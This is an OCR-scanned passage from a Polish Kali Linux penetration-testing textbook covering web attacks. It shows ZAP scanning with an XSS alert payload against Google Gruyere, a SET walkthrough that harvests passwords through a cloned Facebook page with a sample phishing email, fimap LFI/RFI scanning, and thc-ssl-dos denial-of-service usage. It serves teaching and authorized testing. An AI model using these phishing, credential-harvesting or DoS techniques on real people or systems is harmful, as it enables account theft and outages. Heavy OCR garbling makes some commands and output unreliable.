2 . . L] Hide: 5.0 ipg.png.css ] Shaw only highlighted lnems
Show all Hide all ':

Modul Spider pakietu Burp Suite pozwala pentesterowi na sprawdzenie, jak dana aplikacja inter-
netowa czy strona WWW jest skonfigurowana oraz jakie mozna na niej znalez¢é tacza i dokad
prowadza. Dobrg analogia funkcjonalnosci tego modutu moze by¢ sytuacja, w ktérej znajdujemy
sie w pokoju z dziesigtkami drzwi i mozemy od razu, w tym samym czasie sprawdzi¢, dokad

prowadzg kazde z nich.
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OWASP-ZAP

ZAP to proste w uzyciu, zintegrowane narzedzie penetracyjne, przeznaczone do wyszukiwa-
nia podatnosci i luk w zabezpieczeniach aplikacji internetowych. Jak pamietasz, w rozdziale 3. do-
konalismy krotkiej prezentacji tego narzedzia i jego mozliwosci w zakresie skanowania witryn
internetowych pod katem potencjalnych stabych stron zabezpieczen. Powr6cimy teraz do
pracy z tym narzedziem i pokazemy, jak mozna uzy¢ programu ZAP do identyfikacji i wykorzy-
stywania luk pozwalajacych na przeprowadzanie atakéw typu cross-site scripting (atakow XSS).

ZAP jest pakietem preinstalowanym w systemie Kali Linux 1.0. Aby go uruchomi¢, w menu
gléwnym przejdz do grupy Kali Linux i nastepnie wybierz polecenie Sniffing/Spoofing/Web
Sniffers/owasp-zap. Zamiast tego mozesz po prostu otworzy¢ nowe okno terminala i wpisa¢
polecenie zap, tak jak to zostalo zaprezentowane na rysunku ponizej:

~# zap
Using Java version:
Available

- OWASP ZAl
a.util.prefs.FileSy
INFO: Created user preferences directory.

Przedstawiamy krotki opis sposobu konfiguracji pakietu ZAP do pracy z przegladarka Firefox,
podobnie jak to mialo miejsce w rozdziale 3.

1.
2.
3.

Zaakceptuj postanowienia licencyjne.
Wygeneruj nowy certyfikat SSL lub zaimportuj certyfikat istniejacy.

Zaimportuj certyfikat do przegladarki. Aby to zrobi¢ w przegladarce Firefox,
wybierz z menu polecenie Preferences/Advanced i nastepnie przejdz na karte
Encryption.

. Kliknij przycisk View Certificates i zaimportuj certyfikat.
. Zaznacz wszystkie opcje zaufania zwigzane z uzywaniem nowego certyfikatu.

. Skonfiguruj przegladarke do pracy z serwerem proxy pakietu ZAP. Aby to zrobi¢

w przegladarce Firefox, wybierz z menu polecenie Preferences/Advanced i nastepnie
przejdz na karte Network.

. Jako nazwe serwera proxy wpisz localhost i ustaw go do pracy na porcie 8080,

ktory jest domysSlnym portem komunikacyjnym serwera proxy pakietu ZAP.

. Zaznacz opcje pozwalajacg na uzywanie serwera proxy dla wszystkich protokotéw

komunikacyjnych.

Pamietaj, ze zanim bedziesz mogt uzywac pakietu ZAP, musisz wygenerowac odpowiedni certyfikat SSL.
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Po zakoriczeniu konfigurowania pakietu ZAP oraz przegladarki Firefox mozesz przej$¢ na dowol-
nie wybrang strone internetowa. Przekonasz sie, ze nazwy odwiedzanych witryn pojawiajg sie na
karcie Sites, w oknie pakietu ZAP. W naszym przyktadzie przeszlismy na strone www. DrChaos.com
i przekonalismy sie, ze lista odwiedzonych stron jest dosyé pokazna. Dzieje sie tak dlatego, ze
strona DrChaos taduje takie czy inne elementy pochodzace z tych stron.

¥ http://s.gravatar.com

¥ http://s0.wp.com

¥4 http://s7.addthis.com
http: /fsegment-pixel.invitemedia.c

i http://stats.wordpress.com

¥ http:/ ftacoda.at.atwola.com
http:/ fthemes.googleusercontent.c
http: / frracking.hostgator.com

™ http:/ jwww.drchaos.com

™ hutp:/ /www.facebook.com

¥ https: //apis.google.com

i https: //platform. twitter.com

Y ¥ Y Y Y YYVYYYYY

ZAP jest wyposazony zaréwno w aktywne, jak i pasywne skanery stron internetowych. Skane-
ry pasywne nie przeprowadzaja zadnych atakéw i sa bezpieczne dla wszystkich aplikacji in-
ternetowych. Z kolei skanery aktywne moga przeprowadzaé¢ cate serie ré6znych atakéw i do-
konuja préb uruchamiania réznych skryptéw w aplikacjach i na stronach internetowych, co
moze prowadzié¢ do wygenerowania alarméw przez systemy zabezpieczajace atakowanych ho-
stow i aplikacji.

W kolejnym przykladzie bedziemy wykorzystywaé oba rodzaje skaneréw, aktywne i pasywne.
Z oczywistych wzgledéw dobrze by bylo, gdybys$ dysponowal swoim serwerem testowym, na
ktérym moégtbys przeprowadzac takie testy, poniewaz zdecydowanie odradzamy przeprowadzanie
atakéw za pomocy pakietu ZAP na innym serwerze bez autoryzacji i zgody jego wlasciciela.
Poniewaz testy podatnosci chcemy przeprowadzié na serwerze, do ktérego testowania mamy
odpowiednig autoryzacje, na nasze potrzeby ponownie wykorzystamy znany Ci juz projekt
Google Gruyere.

Firma Google uruchomita projekt Gruyere w celu umozliwienia testowania luk w zabezpie-
czeniach i mechanizméw obronnych aplikacji internetowych. Strony internetowe projektu
Gruyere maja kilka specjalnie przygotowanych luk w zabezpieczeniach, wtacznie z podatno-
$ciami na ataki XSS. Z projektu Gruyere mozesz korzysta¢ interaktywnie w sieci lub mozesz
pobraé¢ go na swéj komputer lokalny.

‘ ‘ Web Application Exploits and Defenses

A Codelab by Bruce Leban, Mugdha Bandre, and Parisa Tabriz
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Utworz swojg wlasng instancje projektu Gruyere, na ktérej bedziesz pracowat z pakietem ZAP. Po
utworzeniu instancji projektu otrzymasz swoj wlasny, unikatowy adres URL. W naszym przypad-
ku adres URL projektu wygladat nastepujaco: http://google-gruyere.appspot.com/326352883334/.

Powr6cimy teraz do pakietu ZAP i wykonamy szybkie skanowanie tego adresu URL.

=» Request R e X Break |
Welcome to the OWASP Zed Attack Proxy (ZAP)

ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applica

Please be aware that you should only attack applications that you have been specifically been giv

To quickly test an application, enter its URL below and press "Attack’.

URL to attack: 'htlp:h,oegle-g y com/326352883334/
& Atack || [l stop

Progress: Attack complete - see the Alerts tab for details of any issues found

For a more in depth test you should explore your application using your browser or automated re

*= History ° Search % Break Points U Alents ) Active Scan /" Forced Browse @ Fuzzer [ |Params b |
Site: | google-gruyere.appspotcom:80 Bl m 100% Current Scans: 0 | URIs Found: 71 o
Processed Method URI Flags.

- GET http:/ fgoogle-gruyere. appspot.com/ 326352883334 feditprofile gt SEED
@ GET http:/ fgoogle-gruyere.appspot.com/ 326352883334 /logout SEED
- GET http://google-gruyere.appspot.com/ 326352883334 /newsnippet2?snippet SEED
=) GET http:/ /google-gruyereappspot.com/326352883334 /upload2 SEED
] GET - toom/ 326352883334/ saveprofile?action=updatescolor=ZAP&icon=ZA... SEED
) GET http:/ /google-gruyere.appspot.com/ 326352883334/
[~ GET hitp:/ [news .google.com/news [searchq=brie OUT_OF_SCOPE
- GET http:/ fgoogle-gruyere.appspot.com/ 326352883334 /snippets.gti7uid=cheddar
@ GET hitp:/ fimages google.com/images?q=cheddar¥%2Bcheese OUT_OF_SCOPE
- GET http://google-gruyere.appspot.com/ 326352883334 /snippets.gtifuid
[*3 GET http:/ /google-gruyere.appspot.com/326352883334/ZAP
Mlerts ®O RO @3 M2 Current Scans 3 1 %0 0 €0 @0 #o

Na powyzszym rysunku wida¢ szereg plikéw SEED, wlacznie z plikiem, ktérego adres URI wy-
glada bardzo interesujaco: hitp://google-gruyere.appspot.com/326352883334/invalid.

Kiedy umiescimy adres tego pliku w przegladarce, otrzymamy nastepujacy komunikat o bledzie:

e B - T ¥ 0 ) W]
reecaaan S - N B S SETl=l
& = [} google-gruyere.appspot.com/326352883334/invalid
Home
( Invalid request: /invalid )
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Kiedy zabieramy sie do przeprowadzania atakéw XSS, warto pamietaé, ze z ich punktu widzenia
najbardziej ,,niebezpiecznymi” znakami sa znak mniejszosci < oraz znak wiekszosci >. Jezeli haker
potrafi zmusi¢ aplikacje internetowa do wstawienia kodu na strone bezposrednio za pomoca
znakéw < i >, to zazwyczaj otwiera to szeroko drzwi do wstrzykniecia ztosliwych skryptéw do apli-
kacji. Ponizej przedstawiamy jeszcze inne przyklady interesujacych plikéw SEED:

C' || google-gruyere.appspot.com /326352883334 /> <

Home

( Invalid request: /><

C [} google-gruyere.appspot.com/326352883334 /%c0%be¥c0%bc

Gruyere System Alert

Exception:

' [ google-gruyere.appspot.com/326352883334 /%269t %26t

Home

( Invalid request: /><

Ponizej przedstawiamy przyktad wykorzystania jednego z adreséw plikéw SEED do wstrzyknie-
cia kodu. Aby to zrobi¢, utworzymy adres URL i dodamy do niego skrypt alert(1), co pozwoli
nam przekonaé sie, czy po uruchomieniu na stronie internetowej pojawi sie wyskakujace okno
z komunikatem o wystgpieniu bledu (zobacz rysunek na nastepne;j stronie).

http://google-gruyere.appspot.com/326352883334/<script>alert(1l);</script>

Powyzszy przyktad pokazuje, ze atakowana aplikacja internetowa wyswietlita na ekranie wyska-
kujace okno z komunikatem o wystapieniu btedu, dowodzac w ten sposéb, ze jest podatna na
taki atak. Teraz mozemy uzyé pakietu ZAP do powtérzenia tego ataku, wyprébowania innego
ataku lub przetestowania podobnych metod wykorzystujacych luki w zabezpieczeniach XSS.

W takich sytuacjach zawsze zalecamy samodzielne poeksperymentowanie z otrzymywanymi
komunikatami o bledach, tak aby sprawdzié, czy nie datoby sie ich wykorzysta¢ do ,,zmusze-
nia” aplikacji do ujawnienia cennych dla pentestera informacji. Projekt Gruyere jest znako-
mitym poligonem dos$wiadczalnym, dzieki ktéremu mozesz testowaé i rozwijaé swoje umie-
jetnosci oraz nabiera¢ doswiadczenia w pracy z pakietem ZAP.
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800 Gruyere: Error &

Jezeli chcesz sprawdzi¢ mozliwosci swojej obrony przed zdalnymi atakami, to ZAP réwniez
moze sie tutaj sprawdzi¢ znakomicie, zwlaszcza w przypadku atakéw takich jak XSS. Niektorzy
uzytkownicy wierza, ze podczas przegladania zasob6w internetu nie musza sie przejmowaé
lukami w zabezpieczeniach XSS, jezeli zgodnie z informacjami producenta ich przegladarka
posiada mechanizmy obrony przed takimi atakami. Niestety, prawda jest taka, ze zabezpieczenia
przegladarki nie mogg by¢ uwazane za doskonale ze wzgledu na prosty fakt, ze przegladarka
nie jest w stanie oszacowaé, na ile bezpieczny jest kod aplikacji internetowej, ktérej ona jest
klientem. Doswiadczeni hakerzy moga by¢ w stanie obejs¢ takie zabezpieczenia i umie$ci¢ w ko-
dzie strony skrypty przeznaczone do atakowania przegladarek odwiedzajacych dang witryne.
7 tego powodu najlepszym sposobem zabezpieczania zar6wno serweréw aplikacji interneto-
wych, jak i korzystajacych z nich klientéw jest wyszukiwanie, identyfikowanie i usuwanie luk
w zabezpieczeniach. Mozna tego dokona¢ za pomoca narzedzi takich jak ZAP.

Przechwytywanie haset — pakiet SET

W rozdziale 4. oméwilismy pokrétce podstawowe mozliwosci pakietu SET (ang. Social Engi-
neer Toolkit). W tym podrozdziale powr6cimy do tego pakietu i skoncentrujemy sie na zagad-
nieniach zwigzanych z wykorzystywaniem go do gromadzenia hasel dostepu oraz przechwy-
tywania innych poufnych informacji.

Jak pamietasz, aby uruchomié pakiet SET, powiniene$ w gléwnym menu systemu przejs¢ do gru-
py Kali Linux, a nastepnie wybra¢ polecenie Exploitation Tools/Social Engineering Tools/se-toolkit.
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Przed pierwszym uruchomieniem pakietu upewnij sie, ze dokonales jego aktualizacji do najnow-
szej wersji. Szczegotows instrukcje, jak krok po kroku przeprowadzi¢ aktualizacje pakietu SET,
znajdziesz w rozdziale 4.

Kiedy pakiet SET zakoriczy klonowanie wybranej witryny internetowej, moze jg uruchomi¢ na wtasnym
serwerze WWW. Bardzo waznym elementem ataku jest przekonanie uzytkownika bedacego celem, aby
potaczyt sie z kopig witryny dziatajgcg na Twoim wiasnym serwerze. Oznacza to, ze do atakéw na cele
w internecie bedziesz musiat uzy¢ maszyny posiadajacej publiczny adres IP. Oprdcz tego bedziesz musiaf
utworzy¢ odpowiednie reguty dla zapory sieciowej, tak aby zdalni uzytkownicy mogli sie pofaczy¢ z ze-
wnatrz z Twoim serwerem.

Po zakoriczeniu konfiguracji ustawieni adreséw IP i regul zapory sieciowej nadszedl czas na
uruchomienie pakietu SET.

:/usr/share# cp backup.set/conf et_config set/config/set_config
:/usr/share# se-toolkit

IMPORTANT NOTICE! The Social-Engineer Toolkit has made some significant
changes due to the folder structure of Kali and FSH (Linux) .

A1l SET dynamic information will now be saved in the ~/.set directory not
in src/program_junk.

note that you should use se-toolkit fr now on.
set by is ing away
[1] If on Kali Linux, just ty 00
[!] If not on Kali, run python tup.py install and you can - -toolkit anywhere..

Press {return} to continue into

Tym razem pakietu SET bedziemy uzywaé do przechwytywania i zbierania hasel dostepu. Jak
pamietasz, SET posiada mechanizmy pozwalajace na sklonowanie praktycznie dowolnie wybranej
witryny internetowej. W naszym przykladzie wykorzystamy pakiet SET do sklonowania witryny
jednego z najpopularniejszych serwiséw spotecznosciowych. Po uruchomieniu pakietu musisz za-
akceptowaé wszystkie warunki umowy licencyjnej, tak jak zaprezentowano na rysunku na na-
stepnej stronie.

Po uruchomieniu pakietu SET warto od czasu do czasu wybra¢ z menu gtéwnego opcje 5) Update the
Social-Engineer Toolkit, ktéra sprawdzi, czy korzystasz z najnowszej wersji pakietu. Jezeli okaze sie, ze
nie, zostang zainstalowane odpowiednie aktualizacje. Jezeli po wybraniu tej opcji wyswietli sie komuni-
kat o btedzie, informujacy, Ze repozytoria GIT nie istnieja, to prawdopodobnie pakiet GIT nie jest zainstalowa-
ny lub zostat zainstalowany niepoprawnie (zawsze istnieje réwniez ryzyko, ze co$ sie zmienito w cafej
procedurze od czasu, kiedy powstawata ta ksigzka). Wiecej szczegétowych informadji i wskazéwek na temat
uzytkowania pakietu SET w systemie Kali Linux znajdziesz na blogach autoréw ksigzki, Amira Lakhaniego
(zobacz strone Attp../www.DrChaos.com) lub Josepha Muniza (zobacz strone Attp./www.thesecurity
> blogger.com).

250
Kup ksigzke Pole¢ ksigzke


http:/helion.pl/rt/kalili
http:/helion.pl/rf/kalili

Rozdziat 6. e Ataki na aplikacje internetowe i serwery WWW

root@kali: #

File Edit View Search Terminal Help

sing and is applied tc ial-En

, and is a royalty fr

- you want with it as long a

e for writing it).

ou should ¢ him a hug and buy him a beer. H
hor

1. Gdy zakoniczy sie aktualizacja pakietu SET do najnowszej wersji, z menu gtéwnego
wybierz opcje 1) Social-Engineering Attacks.

2. Teraz wybierz opcje 2) Website Attack Vectors.

3. Wybierz opcje 3) Credential Harvester Attack Method.

Do wyboru masz teraz kilka opcji okreslajacych sposéb klonowania wybranej witryny. Pakiet
SET posiada swoje wlasne, wbudowane szablony dla popularnych witryn, takich jak Facebook
czy Gmail. Czasami uzycie szablonu nie jest najlepszym rozwigzaniem, aczkolwiek na poczatek
powinno w zupelosci wystarczy¢. Jezeli zamiast szablonu cheesz uzy¢ kopii wybranej witry-
ny internetowej, musisz podaé jej adres URL — pakiet SET rozpocznie proces klonowania.

Jezeli posiadasz juz wykonana wezesniej kopie witryny lub samodzielnie utworzyles odpowiednie
pliki HTML, mozesz wybra¢ opcje 3) Custom Import. Po wybraniu tej opcji bedziesz mogt
wskaza¢ lokalizacje plikow HTML, ktérych cheesz uzyé.

W naszym przyktadzie uzyjemy gotowych szablonéw witryn internetowych. Pakiet SET poprosi
o podanie adresu IB, na ktérym bedzie nastuchiwat nadchodzacych Zzadan — w tym przypadku
bedzie to adres IP interfejsu sieciowego naszego systemu Kali Linux. Wyjatkiem od tej reguly
moze byé sytuacja, kiedy wykorzystujesz ustuge NAT zapory sieciowej. W takim przypadku
zamiast lokalnego adresu IP systemu Kali Linux powiniene$ uzy¢ publicznego adresu IP hosta
ustugi NAT, tak aby klienty z zewnatrz mogly laczy¢ sie z Twoim systemem. W naszym przy-
ktadzie uzyjemy adresu IP interfejsu petli zwrotnej, 127.0.0.1.
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Kiedy zdefiniujesz adres IP, pakiet SET poprosi Cie o wybranie szablonu. W naszym przy-
padku wybierzemy opcje Facebook.

Na kolejnym rysunku przedstawiono okno przegladarki polaczonej z serwerem o adresie
127.0.0.1 i wyswietlajacej naszg falszywa strone portalu Facebook. Jezeli wy$wietlona strona
nie wyglada przekonujaco, mozesz uzy¢ innego szablonu albo po prostu sklonowa¢ aktualng
wersje zadanej strony.

Welcome to Facebook - Leg In, Sign Up or Learn More - Iceweasel
File Edit View History Bookmarks Tools Help
Kl Welcome to Facebook - Log In, ... |5
L] 4 tpe//127.0.0.1 - @ (@~ o &8
2 Most Visitedv  [lOffensive Security "% Kali Linux "% Kali Docs ElExploit-DB Wy Aircrack-ng

Emad o Phone

Sign Up
Connect with friends and the It’s free and always will be.
world around you on Facebook.

See photos and updates from friends in News Feed

Share what’s new in your life on your Timeline

= I 5

Zwr6¢ uwage, ze w pasku adresu przegladarki wyswietlany jest adres 127.0.0.1. W wigkszo$ci
przypadkéw bedziesz musial jednak uzyé nieco bardziej wyrafinowanych wektoréw ataku,
aby przekonaé¢ uzytkownikéw do odwiedzenia Twojej spreparowanej strony internetowej.
Mozesz to zrobi¢ na wiele sposob6w, na przyklad poprzez rozsyltanie do uzytkownikéw poczty
elektroniczng specjalnie przygotowanej wiadomosci, zawierajacej lacze do Twojej spreparowanej
witryny internetowe;j (zobacz pierwszy rysunek na nastepnej stronie).

Kiedy uzytkownik rozpocznie wpisywanie nazwy konta i hasta dostepu na naszej falszywej
stronie udajgcej witryne Facebook, pakiet SET przechwyci caly zwigzany z tym ruch sieciowy
i nastepnie przekieruje uzytkownika do prawdziwej witryny internetowej. Istnieje bardzo du-
7a szansa na to, ze po takim przekierowaniu uzytkownik bedzie przekonany, ze po prostu po-
mylit sie podczas wpisywania hasla, i zaloguje sie jeszcze raz, nie majac $wiadomosci, Ze ,,po
drodze” pakiet SET przechwycil nazwe jego konta i hasto dostepu (zobacz drugi rysunek na
nastepnej stronie).

Jak wida¢ na powyzszym rysunku, pakiet SET przechwycil nazwe naszego konta uzytkownika,
DrChaos, i nasze hasto dostepu, ILoveKali.
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Facebook <wwt.secmob@gmail.com> May 29, 2013 5:49 PM
Facebook
Dear Facebook user,

In an effort to make you online experience safer and more enjoyable, Facebook will be implementing a
new login system that will affect all Facebook users. These changes will offer new features and
increased account security.

Before you are able to use the new login system, you will be required to update your account.
Please click on the link below to update your account online now
www.facebook.com

If you have any questions, reference out New User guide.

Thanks,
The Facebook Team

Facebook will never ask you for your password in an email or Facebook message. Learn more about
how to keep your account secure.

root@kali: ~

File Edit View Search Terminal Help

Po zakoriczeniu tego ¢wiczenia uzyj kombinacji Klawiszy Ctrl+C, aby zakoriczy¢ prace programu
SET i wygenerowac raport w formacie HTML. SET generuje profesjonalnie wygladajacy ra-
port, ktérego mozesz z powodzeniem uzyé podczas tworzenia raportu koficowego z przepro-
wadzonego testu penetracyjnego.
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f the parameters t rested

urity community. Use ol for good, not evil.

Fimap to narzedzie napisane w jezyku Python, przeznaczone do wyszukiwania i wykorzysty-
wania podatnosci i luk w zabezpieczeniach aplikacji internetowych, pozwalajacych na przeprowa-
dzanie atakéw typu LFI (ang. Local File Inclusion) lub RFI (ang. Remote File Inclusion).

Aby uruchomi¢ pakiet Fimap w systemie Kali Linux, przejdz do grupy Kali Linux, a nastepnie
wybierz polecenie Web Applications/Web Vulnerability Scanners/fimap. Po wybraniu tego
polecenia na ekranie pojawi sie nowe okno terminala z wyswietlonym ekranem powitalnym
polecenia fimap. Dla pakietu fimap istnieje réwniez kilka dodatkowych wtyczek, ktére mozesz
pobrac¢ z internetu i zainstalowaé¢ za pomoca nastepujacego polecenia:

fimap --install -plugins
Dostepne wtyczki zostang wySwietlone w formie listy, z opcjg pozwalajaca na zainstalowanie
wybranej wtyczki lub zakonczenie dziatania polecenia. Jak widaé, w naszym przykltadzie do-

stepne sa dwie dodatkowe wtyczki, stad polecenie instalowania musimy wykonaé dwukrotnie,
indywidualnie instalujac poszczegdlne wtyczki (zobacz pierwszy rysunek na nastepnej stronie).

Aby uzy¢ pakietu Fimap, musisz najpierw poda¢ adres URL witryny, ktéra bedzie celem skanera.
Istnieje wiele metod definiowania adres6w URL. Mozesz na przyktad poda¢ jeden wybrany adres
URL, calg liste adreséw URL, mozesz uzy¢ wyszukiwarki Google do zebrania adreséw URL,

254
Kup ksigzke Pole¢ ksigzke


http:/helion.pl/rt/kalili
http:/helion.pl/rf/kalili

Rozdziat 6. e Ataki na aplikacje internetowe i serwery WWW

fimap --install-plugins

flmap v

Requesting list of plugins...
R R R R R S
B e a8 e S e e s
#_IST OF TRUSTED PLUGINS
#
S R R R
FHARRRRH R R AR R R R R R R AR RHA R HAHER
\ i i by Darren "Infe Martyn <infodox@i
#
["] uEb HTTP r L1 by Darren "Infodox" Martyn <infod
. 1 not 1nsfallo-. #
el and Quit.
#
S R T R R T R B A A R
##################################
1 ¥

ale réwnie dobrze mozesz uzy¢ innych metod, takich jak zbieranie wszystkich adreséw URL
z hipertaczy zamieszczonych na danej stronie internetowej czy pozyskiwanie adreséw URL z for-
mularzy i nagtéwkéw stron. W naszym przypadku celem skanera bedzie witryna hitp://www.
thesecurityblogger.com/.

Aby uruchomié skanowanie witryny http.://www.thesecurityblogger.com, powiniene§ wpisaé
nastepujace polecenie:
fimap -u 'http://wwwthesecurityblogger.com'
Pakiet Fimap rozpocznie skanowanie i sprébuje automatycznie wykryé podatnosci na ataki
typu LFI/RFI. Na rysunku przedstawionym ponizej wida¢ jednak, ze witryna www.thesecurity
>blogger.com jest odporna na tego typu ataki.
-run -u "ht

anner and
dev@gmail .c

Ataki typu DoS

W zdecydowanej wiekszosci przypadkéw celem przeprowadzania testéw penetracyjnych jest
identyfikacja potencjalnych i rzeczywistych podatnosci i luk w zabezpieczeniach bez umysl-
nego zaklécania dzialania atakowanego systemu i bez robienia mu krzywdy w jakikolwiek in-
ny sposéb. Jest to kluczowy element odrézniajacy autoryzowanego pentestera od zlosliwego
napastnika, majacego niecne zamiary. Prawdziwy napastnik nie przestrzega zadnych regul
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i nie zwraca uwagi na to, czy jego dzialania spowoduja zaktécenia w funkcjonowaniu atako-
wanego systemu, jezeli tylko takie postepowanie bedzie dla niego korzystne. Czasami zdarza
sie nawet, ze napastnik bedzie wrecz za wszelka cene szukal mozliwosci zaklécenia dziatania
czy nawet calkowitego wylgczenia atakowanego systemu. 7 tego powodu w niektérych przypad-
kach przeprowadzenie testéw odpornosci danej witryny czy aplikacji internetowej na ataki typu
DoS (ang. Denial of Service) moze by¢ bardzo pozadane. Testy tego rodzaju czesto sg nazywane
testami warunkéw skrajnych lub testami odpornosci na przecigzenie systemu (ang. stress testing).

Jedng z najwazniejszych spraw zwigzanych z testami odpornosci na ataki typu DoS jest bezwzgledne uzyska-
nie pisemnej zgody wiasciciela systemu na przeprowadzanie takich atakow. Niektére metody atakdw
moga mie¢ negatywny wptyw na funkcjonowanie systemu nawet po zakonczeniu testéw. Dobrym roz-
wigzaniem jest przeprowadzanie takich testéw na systemach z redundancja, systemach nieprodukcyj-
nych czy systemach zainstalowanych w srodowisku laboratoryjnym, o ile to oczywiscie mozliwe.

Najczesciej spotykana metoda ataku DoS polega na ,,zalewaniu” badanego systemu masowo
naplywajacymi z zewnatrz zadaniami. Takie przeciazenie zazwyczaj skutecznie uniemozliwia
systemowi odpowiadanie na rzeczywiste zadania od autoryzowanych klientéw lub co najmniej
tak spowalnia wysylanie odpowiedzi, ze caly system staje sie dla klientéw praktycznie bezu-
zyteczny. Ataki typu DoS mogg by¢ skierowane na zasoby systemu (np. przypisana przestrzen
dyskowa, przepustowos¢ polaczen sieciowych itd.), konfiguracje systemu (np. usuwanie tablic
routingu), informacje o stanie systemu (np. resetowanie sesji TCP) oraz kazdy inny element
$rodowiska systemu, ktérego przecigzenie moze spowodowaé zaklécenie jego normalnego
funkcjonowania.

Réznica pomiedzy atakami DoS (ang. Denial of Service) a DDoS (ang. Distributed Denial of Service) polega na
tym, ze do przeprowadzania ataku DoS napastnik wykorzystuje tylko jeden komputer, podczas gdy w przy-
padku atakéw DDoS liczba maszyn bioracych udziat w ataku moze siegac tysiecy. Omawianie zagadnien
zwigzanych z atakami DDoS wykracza niestety daleko poza ramy naszej ksigzki.

Istniejg cztery gtéwne kategorie atakéw DoS/DDoS:

B Ataki wykorzystujace przecigzenie polaczen sieciowych (ang. Volume Based
Attacks) — taki rodzaj ataku jest zwigzany z ,,zalewaniem” atakowanego systemu
masowo naplywajacymi pakietami UDP, ICMP i innymi. Celem takiego ataku jest
przecigzenie polaczen sieciowych atakowanego systemu nadmiernymi ilo§ciami
przesylanych pakietow.

B Ataki na protokoly komunikacyjne (ang. Protocol Attacks) — ataki te maja na celu
nadmierne wykorzystywanie zasob6éw urzadzen sieciowych, takich jak routery,
zapory sieciowe, urzadzenia réwnowazace obcigzenie polaczen sieciowych.
Przykladami atakéw na protokoty komunikacyjne sg ataki typu SYN flood,

Ping of Death, Smurf, Teardrop, wymuszanie fragmentacji pakietow itp.
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B Ataki na warstwe aplikacji (ang. Application Layer Attacks) — takie ataki wykorzystuja
normalny ruch sieciowy do zaklécenia dzialania lub nawet spowodowania awarii
danej witryny lub aplikacji internetowej. Przyktadami mogg by¢ ataki typu Zero-Day
czy ataki wykorzystujace inne podatnosci i luki w zabezpieczeniach witryn i aplikacji
internetowych.

B Ataki powodujace wyczerpanie zasobow sesji (ang. Session Exhaustion) — takie
ataki powoduja wyczerpanie liczby dozwolonych jednoczesnie sesji poprzez ciagle
nawigzywanie nowych potaczen bez zamykania starych sesji, co prowadzi
do wyczerpania zasobéw systemu.

W systemie Kali Linux znajdziesz wiele narzedzi pozwalajacych na wykorzystywanie podat-
nosci i luk w zabezpieczeniach. Narzedzia te, na przyklad Metasploit, mogg by¢ uzywane do
przeprowadzania atakéw DoS na warstwe aplikacji (wiele z tych narzedzi omawialismy juz we
wezesniejszych rozdziatach). W rozdziale 3. prezentowaliSmy popularne narzedzie Scapy,
pozwalajgce na przeprowadzanie atakéw DoS na protokoly komunikacyjne. Ponizej znaj-
dziesz oméwienie kilku kolejnych narzedzi stuzgeych do przeprowadzania atakéw DoS, ktére
mozesz znalez¢ w systemie Kali Linux.

Aby przetestowac skutecznos¢ ataku DoS, mozesz uzy¢ witryny Atto./www.upordown.org, ktdéra sprawdza
dostepnos¢ podanej witryny internetowe;.

UpcDown

Is down for everyone or just me?

THX-SSL-DOS

Protokot SSL (ang. Secure Socket Layer) jest uzywany do nawigzywania bezpiecznych pola-
czen i transakeji w internecie. Nawigzanie bezpiecznego polaczenia z wykorzystaniem proto-
kotu SSL wymaga uzycia po stronie serwera 15 razy wiekszej mocy obliczeniowej niz po stro-
nie klienta. Atak typu THC-SSL-DOS wykorzystuje te dysproporcje przez prébe przeladowania
serwera spreparowanymi zadaniami nawigzania sesji SSL az do momentu, kiedy przecigzony
serwer sie poddaje i przestaje odpowiadaé na zadania przesytane od innych, autoryzowanych
klientéw. Atak wykorzystuje mechanizm renegocjacji bezpiecznego polaczenia SSL do gene-
rowania tysiecy takich zadan dla pojedynczego polaczenia TCP Z tego powodu atak ten jest
réwniez znany jako atak typu SSL-Exhaustion (ang. — ,wyczerpanie zasobow SSI7). Zalety
takiego podejscia jest to, ze mozliwosci przetwarzania zadan nawigzania sesji SSL sg znacznie
wyzsze po stronie klienta, co oznacza, ze przecietny laptop podiaczony do sieci za posred-
nictwem lacza o przecietnej szybko$ci moze rzuci¢ powazne wyzwanie niemal kazdemu serwero-
wi aplikacji internetowych. Podatnosé serweréw internetowych na ataki typu SSL-Exhaustion
jest powszechnie znana, a mimo to nie udalo sie jeszcze opracowaé skutecznej metody zapo-
biegania takim atakom.
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Aby uruchomi¢ pakiet THC-SSL-DOS, w menu gléwnym systemu przejdz do grupy Kali Linux,
anastepnie wybierz polecenie Stress Testing/Web Stress Testing/thc-ssl-dos. Po wybraniu pole-
cenia pojawi sie nowe okno terminala z ekranem powitalnym polecenia thc-ss1-dos. Skladnia
polecenia jest nastepujaca:

thc-ss1-dos [opcje] <adres IP ofiary> <port> and --accept

W wierszu wywotania polecenia musisz umiesci¢ opcje --accept, w przeciwnym wypadku otrzymasz
komunikat o btedzie przedstawiony ponizej:

agree by using '--acet optien-that—the  IP“is-a-legitimate ta

and that you are fully authori to perform the test against this targ
e |

Po uruchomieniu programu THC-SSL-DOS zobaczysz na ekranie kilka zabawnych komuni-
katow, informujacych, ze dzialanie programu sie rozpoczeto. Na pierwszym rysunku zamiesz-
czonym ponizej widaé, ze zaatakowana witryna nie obstuguje protokotu SSL, stad program
wys$wietla na ekranie komunikat o wystgpieniu bledu. Na kolejnym rysunku przedstawiono
sytuacje, w ktorej pomySlnie rozpoczal sie proces renegocjacji sesji SSL, co w efekcie moze
doprowadzi¢ do zakl6cenia dzialania atakowanego systemu. Pamietaj, ataki tego typu mozesz
przeprowadzaé tylko na systemach, dla ktérych uzyskates pisemne zezwolenie wlasciciela.
Przeprowadzenie takiego ataku moze doprowadzi¢ do powaznego ograniczenia funkcjonalno-
$ci atakowanego systemu lub nawet do jego calkowitego zatamania.

Greetingz:

ssl-dos [options] <ip> <port=
help
mit parallel n 0 [default: 48Q]
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Scapy

Jednym z najpopularniejszych narzedzi stuzacych do przeprowadzania atakéw typu DoS jest
Scapy. Program zostal napisany w jezyku Python, a jego autorem jest Phillippe Biondi. Scapy
pozwala na tworzenie, modyfikowanie i dekodowanie zawartosci pakietéw sieciowych, wstrzyki-
wanie pakietéw do sieci, przechwytywanie pakietéw oraz dopasowywanie zadan i odpowiedzi.
Program posiada réwniez wiele innych mechanizméw, takich jak skanowanie portéw, traso-
wanie pakietow, sprawdzanie urzadzen sieciowych, przeprowadzanie atakéw czy wykrywanie
urzadzen sieciowych.

Jedna z czesto wykonywanych operacji jest przechwytywanie pakietéw TCP i wysylanie ich
dalej do sieci za posrednictwem programu Scapy. Aby uruchomié¢ ten program, w oknie ter-
minala wpisz polecenie scapy. Po uruchomieniu programu bedziesz méglt wykonywaé pole-
cenia bezpos$rednio z jego wiersza polecen:

